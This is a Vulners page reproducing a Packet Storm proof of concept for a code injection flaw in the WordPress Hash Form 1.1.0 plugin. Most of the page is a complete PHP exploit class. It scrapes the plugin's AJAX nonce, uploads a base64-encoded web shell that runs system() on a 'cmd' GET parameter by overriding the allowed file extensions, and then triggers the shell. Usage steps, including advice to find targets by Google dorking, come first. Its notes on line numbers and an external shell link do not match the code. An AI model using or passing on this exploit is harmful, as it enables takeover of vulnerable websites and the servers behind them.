Lucene search
K

WordPress Hash Form 1.1.0 Code Injection

🗓️ 03 Oct 2024 00:00:00Reported by indoushkaType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 378 Views

WordPress Hash Form 1.1.0 Code Injection Vulnerability allows upload and execution of PHP shel

Code
`=============================================================================================================================================  
| # Title : WordPress Hash Form 1.1.0 php code injection Vulnerability |  
| # Author : indoushka |  
| # Tested on : windows 10 Fr(Pro) / browser : Mozilla firefox 130.0.0 (64 bits) |  
| # Vendor : https://plugintests.com/plugins/wporg/hash-form/latest |  
=============================================================================================================================================  
  
POC :  
  
[+] Dorking İn Google Or Other Search Enggine.  
  
[+] The following php code Upload shell file from external link.  
  
[+] Line 117 set your target.  
  
[+] Line 111 set your commands.  
  
[+] save code as poc.php .  
  
[+] USage : cmd = php poc.php .  
  
[+] PayLoad :  
  
<?php  
  
class WordPressHashFormRCE {  
private $target_url;  
private $nonce;  
  
public function __construct($target_url) {  
$this->target_url = $target_url;  
}  
  
public function check() {  
if (!$this->isWordPressOnline()) {  
return 'WordPress does not appear to be online.';  
}  
  
$plugin_version = $this->checkPluginVersion('hash-form', '1.1.1');  
  
if ($plugin_version === null) {  
return 'Hash Form plugin does not appear to be installed.';  
}  
  
if ($plugin_version === false) {  
return 'Hash Form plugin is installed but the version is unknown.';  
}  
  
if ($plugin_version !== '1.1.0') {  
return "Hash Form plugin is version: $plugin_version, which is not vulnerable.";  
}  
  
return "Detected Hash Form plugin version: $plugin_version";  
}  
  
public function exploit() {  
echo "Attempting to retrieve nonce from the target...\n";  
$this->nonce = $this->getNonce();  
  
if (!$this->nonce) {  
die('Failed to retrieve the nonce necessary for file upload.');  
}  
  
echo "Nonce retrieved: {$this->nonce}\n";  
echo "Uploading PHP payload using the retrieved nonce...\n";  
  
$file_url = $this->uploadPhpFile();  
if (!$file_url) {  
die('Failed to upload the PHP payload. Check file permissions and server settings.');  
}  
  
echo "PHP payload uploaded successfully to $file_url\n";  
$this->triggerPayload($file_url);  
}  
  
private function isWordPressOnline() {  
$response = $this->sendRequest('GET', '/wp-admin/admin-ajax.php?action=hashform_preview&form=1');  
return $response !== false;  
}  
  
private function checkPluginVersion($plugin_name, $version) {  
$response = $this->sendRequest('GET', "/wp-admin/admin-ajax.php?action=hashform_preview&form=1");  
if ($response === false) return null;  
  
preg_match('/"version":"([^"]+)"/', $response, $matches);  
return $matches[1] ?? false; // return the version or false if not found  
}  
  
private function getNonce() {  
$response = $this->sendRequest('GET', '/wp-admin/admin-ajax.php?action=hashform_preview&form=1');  
if ($response === false) return null;  
  
preg_match('/"ajax_nounce":"([a-f0-9]+)"/', $response, $matches);  
return $matches[1] ?? null;  
}  
  
private function uploadPhpFile() {  
$file_content = $this->createPayload();  
$file_name = strtolower(bin2hex(random_bytes(4))) . '.php';  
  
$response = $this->sendRequest('POST', '/wp-admin/admin-ajax.php', [  
'action' => 'hashform_file_upload_action',  
'file_uploader_nonce' => $this->nonce,  
'allowedExtensions[0]' => 'php',  
'sizeLimit' => 1048576,  
'qqfile' => $file_name,  
'data' => $file_content  
]);  
  
$json_response = json_decode($response, true);  
return $json_response['url'] ?? null;  
}  
  
private function triggerPayload($url) {  
echo "Triggering the payload...\n";  
$this->sendRequest('GET', $url);  
}  
  
private function sendRequest($method, $uri, $data = []) {  
$url = $this->target_url . $uri;  
$options = [  
'http' => [  
'header' => "Content-Type: application/x-www-form-urlencoded\r\n",  
'method' => $method,  
'content' => http_build_query($data),  
],  
];  
$context = stream_context_create($options);  
return @file_get_contents($url, false, $context);  
}  
  
private function createPayload() {  
// You can define your payload logic here, for now, we return a simple payload  
$payload = "<?php\n if(isset(\$_GET['cmd'])) { system(\$_GET['cmd']); }\n ?>";  
return base64_encode($payload);  
}  
}  
  
// استخدام الوحدة  
$target_url = 'http://target-wordpress-site.com';  
$exploit = new WordPressHashFormRCE($target_url);  
  
// تحقق من الثغرة  
echo $exploit->check() . "\n";  
  
// تنفيذ الاستغلال  
$exploit->exploit();  
  
  
  
Greetings to :=====================================================================================  
jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R * Malvuln (John Page aka hyp3rlinx)|  
===================================================================================================  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

03 Oct 2024 00:00Current
7.4High risk
Vulners AI Score7.4
378